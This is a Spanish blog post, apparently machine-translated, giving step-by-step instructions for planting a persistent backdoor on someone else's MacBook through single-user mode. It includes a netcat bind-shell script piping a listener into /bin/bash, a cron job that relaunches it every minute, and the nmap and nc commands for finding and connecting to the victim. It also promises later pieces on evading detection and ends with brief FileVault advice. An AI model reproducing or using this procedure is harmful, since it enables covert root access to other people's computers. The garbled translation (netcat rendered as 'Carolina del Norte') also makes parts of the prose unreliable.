BlogHacking macOS

Hackear macOS: Cómo configurar una puerta trasera en la MacBook de cualquier persona

El conversacion cuál es el sistema operativo más seguro, macOS frente a Windows, es un debate en curso. La mayoría dirá que macOS es más seguro, pero me gustaría opinar mostrando cómo hacer una puerta trasera en un MacBook en menos de dos minutos y mantener un shell persistente usando herramientas ya integradas en macOS.

Windows 10 definitivamente no es a prueba de piratería, pero en esta guía y los próximos artículos, espero ayudar a desacreditar la idea errónea de que macOS es más seguro.

Para mi sorpresa, macOS no usa Cifrado de disco duro FileVault (aunque puede solicitar habilitarlo durante una instalación / actualización limpia de macOS) de forma predeterminada. Aquellos que lo habilitan pueden terminar deshabilitándolo más tarde debido a velocidades de escritura más lentas o el cifrado afecta negativamente a la CPU. La ausencia de cifrado en el disco duro permite a los atacantes un acceso completo a los archivos de una MacBook, sin contraseña.

Viva de la tierra y mantenga la perseverancia

Hay bastantes cargas útiles, RAT y puertas traseras que se pueden implementar en MacBooks. Para simplificar las cosas, ejercitaré una técnica acuñada “viviendo de la tierra“, que alienta a los probadores de penetración a utilizar tantos recursos ya presentes en el dispositivo comprometido durante los ataques posteriores a la explotación. Esto significa no instalar cargas útiles avanzadas que evadan activamente la detección del antivirus, sino utilizar aplicaciones que ya están instaladas y no se marcará como malicioso.

Netcat (denominado solo Carolina del Norte desde la línea de comandos) es una utilidad de red que se puede utilizar para crear conexiones TCP o UDP. Su lista de características incluye escaneo de puertos, transferencia de archivos y escucha de puertos para crear puertas traseras en sistemas operativos y redes. Netcat es una de las herramientas ya integradas en macOS que se utilizará durante este ataque.

Cron es un programador de tareas que se encuentra en sistemas operativos similares a Unix, como Debian, Ubuntu y macOS. Los administradores de sistemas suelen utilizar Cronjobs para automatizar tareas repetitivas, como crear copias de seguridad semanales y ejecutar una tarea específica cuando el sistema operativo se reinicia. Para garantizar que la puerta trasera de Netcat esté siempre disponible, se creará un trabajo cron para abrir de forma persistente un nuevo oyente de Netcat después de que se cierre.

Paso 1: habilite el modo de usuario único

Para comenzar el ataque, modo de usuario único (otra característica de macOS). El modo de usuario único se diseñó para solucionar problemas, depurar errores de arranque y reparar problemas de disco, entre muchas otras tareas administrativas. Desafortunadamente, los piratas informáticos pueden acceder y abusar muy fácilmente del modo de usuario único.

Para acceder al modo de usuario único, encienda el MacBook de destino mientras sostiene el Mando + S botones del teclado al mismo tiempo. Continúe presionando ambas teclas hasta que aparezca un texto blanco en la pantalla.

Después de unos segundos, el atacante tendrá acceso a todos los archivos de la MacBook y a una terminal raíz, sin necesidad de contraseñas. Eso es todo al respecto. Sin embargo, si el dispositivo de destino está utilizando el cifrado FileVault, arrancar con Mando + S en su lugar, aparecerá una pantalla de inicio de sesión con contraseña. Si este es el resultado, el dispositivo no es vulnerable a este ataque.

Paso 2: revisa el disco

Según el terminal de usuario único, primer uso fsck, una utilidad para comprobar los sistemas de archivos macOS en busca de anomalías. La ejecución de este comando no se usa para comprometer el dispositivo, pero no debe omitirse. En mi caso, el fsck comando completado en menos de 60 segundos con una unidad de estado sólido de 250 GB.

/sbin/fsck -fy

Paso 3: monte el disco duro

A continuación, el disco duro deberá montarse con leer y escribir permisos, lo que permite a los atacantes agregar archivos maliciosos a la computadora portátil. Esto se puede hacer con el siguiente comando, que debería completarse en solo unos segundos. Con la capacidad de escribir en el disco, se puede crear la puerta trasera Netcat.

/sbin/mount –uw /

Paso 4: crear el oyente de Netcat

Facilitar la persistencia del dispositivo con puerta trasera mientras se mueve entre redes Wi-Fi en diferentes partes del mundo está fuera del alcance de esta demostración, así que permanezca atento a los artículos futuros. Por ahora, mostraré cómo conectarse a la MacBook con puerta trasera en una red Wi-Fi compartida.

En aras de la simplicidad, estoy guardando el script de persistencia en el directorio / etc / y llamando al archivo carga útil. En escenarios de ataque reales, tendría sentido ocultar el archivo en un directorio diferente con un nombre menos obvio.

Nano se puede usar para crear el script usando el siguiente comando.

nano /etc/payload

Escriba el siguiente script Bash en el nano terminal, luego guarde y salga presionando control + X, luego Y, luego Entrar / Regresar. La secuencia de comandos deberá escribirse manualmente en el modo de usuario único, por lo que traté de mantenerlo lo más simple posible. Hay algunas cosas que suceden en el guión, así que lo desglosaré para los lectores que no estén familiarizados con Bash.

#!/bin/bash
n=$(ps aux | grep -o [1]234)

if [[ $n = "" ]]; then
    mkfifo f
    nc -l 0.0.0.0 1234 < f | /bin/bash -i > f 2>&1
fi

El oyente de Netcat abrirá el puerto 1234 en el dispositivo macOS. La primera línea (n = $ (ps aux | grep -o [1]234)), crea una variable norte, que comprueba si el puerto 1234 ya está abierto. Esta detección de puerto se logra usando PD, una herramienta que se utiliza para ver los procesos en ejecución en segundo plano.

La siguiente línea (si [[ $n = “” ]]; luego) es el comienzo de una si declaración que dice si La variable norte (puerto 1234) no se encuentra, mkfifo, una herramienta que se utiliza para crear una “tubería con nombre”, creará un archivo llamado F. El nombre de archivo aquí es totalmente arbitrario y usa “f” para simplificar.

Siguiendo mkfifo es el comando Netcat (nc -l 0.0.0.0 1234 f 2> & 1), que abre el puerto 1234 en cada interfaz IPv4 disponible (0.0.0.0) y utiliza el F archivo para canalizar comandos de terminal hacia y desde el dispositivo con puerta trasera.

Paso 5: use Cron para ejecutar el script

Eso es todo para el script Netcat. Próximo, crontab, una característica de cron, se utilizará para programar el script Bash (“carga útil”) para que se ejecute cada 60 segundos. El siguiente comando se puede utilizar para lograr esto.

env EDITOR=nano crontab -e

Se abrirá una nueva nano terminal. Escriba lo siguiente en el nano terminal, luego guarde y cierre el nano terminal.

* * * * * /etc/payload

Los lectores interesados ​​en programar cronjobs a intervalos que no sean 60 segundos deben consultar El artículo de Ole Michelsen sobre el uso de crontab en macOS (anteriormente Mac OS X).

Paso 6: Eleve los permisos de archivo

Para el paso final, los permisos del archivo de secuencia de comandos deben actualizarse utilizando el siguiente chmod mando.

chmod 777 /etc/payload

Paso 7: apaga la Mac

Cuando haya terminado, ingrese el siguiente comando en la terminal de usuario único para apagar la computadora portátil.

shutdown -h now

Eso es todo por la puerta trasera del dispositivo macOS. Cuando el propietario de la computadora portátil enciende el dispositivo, el oyente de Netcat se ejecutará cada 60 segundos (si aún no se está ejecutando) y permitirá al atacante acceder al dispositivo en la misma red Wi-Fi.

Las víctimas de este ataque que no estén inspeccionando activamente los puertos abiertos y los servicios en segundo plano en busca de actividad sospechosa no detectarán fácilmente esta puerta trasera. En artículos futuros, mostraré cómo mejorar este script y ocultar su firma para evadir activamente la detección, así que estad atentos.

Paso 8: Conéctese a la Mac con puerta trasera

Desde cualquier computadora en la red, Nmap se puede usar para encontrar la dirección IP del dispositivo en el enrutador.

nmap -p1234,65534 -O 192.168.0.1/24

Detección de SO (-O) requiere al menos 1 puerto abierto y 1 puerto cerrado para realizar una huella digital precisa del sistema operativo, por lo que se deben incluir uno o más puertos aleatorios en el comando. En mi script de ejemplo, Netcat estaba configurado para escuchar en el puerto 1234, por lo que ese puerto se incluyó en el comando. Si hay varios dispositivos Apple en la red, la computadora portátil con puerta trasera será el único dispositivo con el puerto 1234 en un estado “abierto”.

Después de localizar la dirección IP del dispositivo con puerta trasera, conéctese a la MacBook con el siguiente comando Netcat.

nc 192.168.0.65 1234

Paso 9: Corrija el archivo de origen mal configurado

Como se dijo anteriormente, con los ataques posteriores a la explotación, es mejor “vivir de la tierra” y usar programas y herramientas que se encuentran en el sistema operativo para comprometer aún más el dispositivo de destino.

Después de establecer una conexión con el oyente de Netcat, es probable que el shell sea primitivo y no sepa dónde se encuentran los programas en el sistema operativo. Por ejemplo, usando ifconfig para ver las interfaces falla con “ifconfig: comando no encontrado”.

Para solucionar este problema, utilice el siguiente fuente mando.

source /etc/profile

Usando ifconfig de nuevo ahora funciona como se esperaba.

Paso 10: Huella digital del dispositivo con puerta trasera

Ahora puede comenzar la enumeración de software y hardware. Un ejemplo de esto sería el uso de la función integrada de Apple. system_profiler comando para recopilar información para cargas útiles y exploits específicos de la versión. El tu nombre El comando también se puede usar para ver la información de la versión del kernel.

En artículos futuros, mostraré cómo establecer la persistencia de MacBooks comprometidas a medida que se mueven entre redes Wi-Fi en cualquier parte del mundo, cómo ofuscar Netcat para evadir la detección activa y cómo generar y usar cargas útiles avanzadas con todas las funciones.

Cómo protegerse del abuso del modo de usuario único

Si no quiere que un pirata informático le haga esto a su computadora, la respuesta es simple: Habilitar FileVault. El cifrado de disco completo de Apple ayuda a evitar el acceso no autorizado a la información de los discos duros y refuerza el acceso en modo de usuario único.

FileVault se puede habilitar navegando a “Preferencias del sistema”, luego a “Seguridad y privacidad” y haciendo clic en “Activar FileVault” (es posible que primero deba desbloquear la configuración). Cuando se complete, la MacBook se reiniciará y requerirá una contraseña para desbloquear la computadora cada vez que se inicie. No se permitirá que ninguna cuenta inicie sesión automáticamente y el acceso al modo de usuario único también requerirá una contraseña.

Si te ha gustado este artículo, sígueme en Twitter. @tokyoneon_. Para preguntas e inquietudes, déjeme un comentario o envíeme un mensaje en Twitter.

Imagen de portada de TheUknownPhotographer / Pexels (modificado); Capturas de pantalla de tokyoneon / Null Byte

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Mira también
Cerrar
Botón volver arriba
Cerrar